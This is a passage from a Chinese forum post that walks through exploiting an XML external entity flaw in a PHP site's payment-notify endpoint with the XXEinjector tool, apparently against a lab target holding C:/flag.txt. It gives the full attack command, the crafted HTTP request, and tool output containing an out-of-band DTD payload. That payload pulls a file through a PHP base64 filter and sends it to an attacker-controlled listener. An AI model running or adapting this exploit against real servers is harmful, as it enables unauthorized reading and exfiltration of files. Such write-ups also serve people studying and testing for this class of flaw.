8 . 3 8 . 1 2 9   - - f i l e = m e t l n f o _ r e q . t x t   - - p a t h = C : / f l a g . t x t   - - v e r b o s e   - - h t t p p o r t = 9 9 9   - - o o b = h t t p   - - p h p f i l t e r 这 里 解 释 一 下 各 个 参 数 的 意 思 ： - - h o s t   指 定 本 地 I P 地 址 ， 即 反 向 连 接 地 址 ， 注 意 不 是 靶 机 地 址 - - f i l e   指 定 发 送 目 标 的 请 求 包 ， 这 里 我 的 请 求 包 内 容 放 在 了 下 面 - - p a t h   指 定 指 定 要 遍 历 的 目 录 或 文 件 ， 如 果 想 遍 历 目 录 则 需 要 目 标 是 j a v a 环 境 ， 如 果 是 单 一 文 件 ， 则 哪 种 环 境 都 行 - - v e r b o s e   显 示 详 细 信 息 ， 可 以 显 示 攻 击 数 据 包 等 ， 推 荐 使 用 - - h t t p p o r t   指 定 本 地 监 听 端 口 ， 默 认 8 0 ， 这 个 也 就 是 指 定 本 地 I P 地 址 的 端 口
- - o o b   o u t   o f   b a n d 方 式 提 供 f t p ( 默 认 ) 、 h t t p 、 g o p h e r 三 种 协 议 ， 在 我 自 己 的 本 地 测 试 发 现 只 有 使 用 h t t p 方 协 议 才 能 正 常 返 回 数 据 - - p h p f i l t e r   使 用 P H P   f i l t e r 对 检 索 文 件 进 行 B a s e 6 4 编 码 ， 这 个 参 数 不 加 上 可 能 数 据 无 法 返 回 我 这 里   - - f i l e   参 数 指 定 发 送 目 标 的 请 求 包 如 下 ， 如 果 笔 者 想 要 复 现 则 需 要 修 改 I P 成 自 己 的 ， 另 外 需 要 注 意 ， 请 求 包 中 的 " X X E I N J E C T "   为 工 具 的 标 记 注 入 点 ： P O S T   / m e m b e r / i n d e x . p h p ? a = d o n o t i f y & m = w e b & c = p a y & n = p a y   H T T P / 1 . 1 H o s t :   1 9 2 . X X X . X X . 1 3 2   # 目 标 I P U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l M a c   O S   X   1 0 . 1 3 ;   r v : 6 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 1 . 0 A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / j a v a s c r i p t ,   * / * ;   q = 0 . 0 1 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p , d e f l a t e C o n t e n t - T y p e :   t e x t / x m l R e f e r e r :   h t t p : / / 1 9 2 . X X X . X X . 1 3 2 /     # 目 标 I P X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t D N T :   1 C o n n e c t i o n :   c l o s e P r a g m a :   n o - c a c h e C a c h e - C o n t r o l :   n o - c a c h e C o n t e n t - L e n g t h : 2 5 X X E I N J E C T < d a t a > 4 < / d a t a > 值 得 注 意 的 是 X X E i n j e c t o r 需 要 R u b y 语 言 支 持 ， 因 为 K a l i 自 带 R u b y 语 言 环 境 ， 这 里 我 就 直 接 用 K a l i 了 ， 接 下 来 就 让 我 们 愉 快 的 使 用 工 具 吧 。
r o o t @ k a l i : ~ #   . / X X E i n j e c t o r . r b   - - h o s t = 1 9 2 . X X X . X X . 1 2 9   - - f i l e = m e t l n f o _ r e q . t x t   - - p a t h = C : / f l a g . t x t   - - v e r b o s e   - - h t t p p o r t = 9 9 9   - - o o b = h t t p   - - p h p f i l t e r X X E i n j e c t o r   b y   J a k u b   P a ł a c z y ń s k i E n u m e r a t i o n   o p t i o n s : " y "   -   e n u m e r a t e   c u r r e c t   f i l e   ( d e f a u l t ) " n "   -   s k i p   c u r r e c t   f i l e " a "   -   e n u m e r a t e   a l l   f i l e s   i n   c u r r e c t   d i r e c t o r y " s "   -   s k i p   a l l   f i l e s   i n   c u r r e c t   d i r e c t o r y " q "   -   q u i t [ + ]   S e n d i n g   r e q u e s t   w i t h   m a l i c i o u s   X M L : h t t p : / / 1 9 2 . X X X . X X . 1 3 2 : 8 0 / m e m b e r / i n d e x . p h p ? a = d o n o t i f y & m = w e b & c = p a y & n = p a y { " U s e r - A g e n t " = > " M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 3 ;   r v : 6 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 1 . 0 " ,   " A c c e p t " = > " a p p l i c a t i o n / j s o n ,   t e x t / j a v a s c r i p t , * / * ;   q = 0 . 0 1 " ,   " A 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 " ,   " A c c e p t - E n c o d i n g " = > " g z i p , d e f l a t e " ,   " C o n t e n t - T y p e " = > " t e x t / x m l " , " R e f e r e r " = > " h t t p : / / 1 9 2 . X X X . X X . 1 3 2 / " ,   " X - R e q u e s t e d - W " 1 " ,   " C o n n e c t i o n " = > " c l o s e " ,   " P r a g m a " = > " n o - c a c h e " ,   " C a c h e - C o n t r o l " = > " n o - c a c h e " , " C o n t e n t - L e n g t h " = > " 1 1 9 " } < ! D O C T Y P E   c o n v e r t   [   < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / 1 9 2 . X X X . X X . 1 2 9 : 9 9 9 / f i l e . d t d " > % r e m o t e ; % i n t ; % t r i c k ; ] > < d a t a > 4 < / d a t a > [ + ]   G o t   r e q u e s t   f o r   X M L : G E T   / f i l e . d t d   H T T P / 1 . 0 [ + ]   R e s p o n d i n g   w i t h   X M L   f o r :   C : / f l a g . t x t [ + ]   X M L   p a y l o a d   s e n t : < ! E N T I T Y   %   p a y l   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / C : / f l a g . t x t " > < ! E N T I T Y   %   i n t   " < ! E N T I T Y   & # 3 7 ;   t r i c k   S Y S T E M   ' h t t p : / / 1 9 2 . X X X . X X . 1 2 9 : 9 9 9 / ? p = % p a y l ; ' > " > [ + ]   R e s p o n s e   w i t h   f i l e / d i r e c t o r y   c o n t e n t   r e c e i v e d : G E T   / ? p = W F h F I F B h e W x v Y W Q g R X h l Y 3 V 0 Z W Q g U 3 V j Y 2 V z c 2 Z 1 b G x 5 I S E h   H T T P / 1 . 0 [ + ]   R e t r i e v e d   d a t a : [ + ]   N o t h i n g   e l s e   t o   d o .   E x i t i n g . 可 以 看 到 工 具 已 经 将 C : / f l a g . t x t 文 件 内 容 以 b a s e 6 4 编 码 的 形 式 返 回 回 来 了 ， 此 时 在 工 具 的 目 录 下 会 生 成 一 个 目 录 ， 里 面 保 存 着 刚 才 读 取 文 件 的 明 文 数 据
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理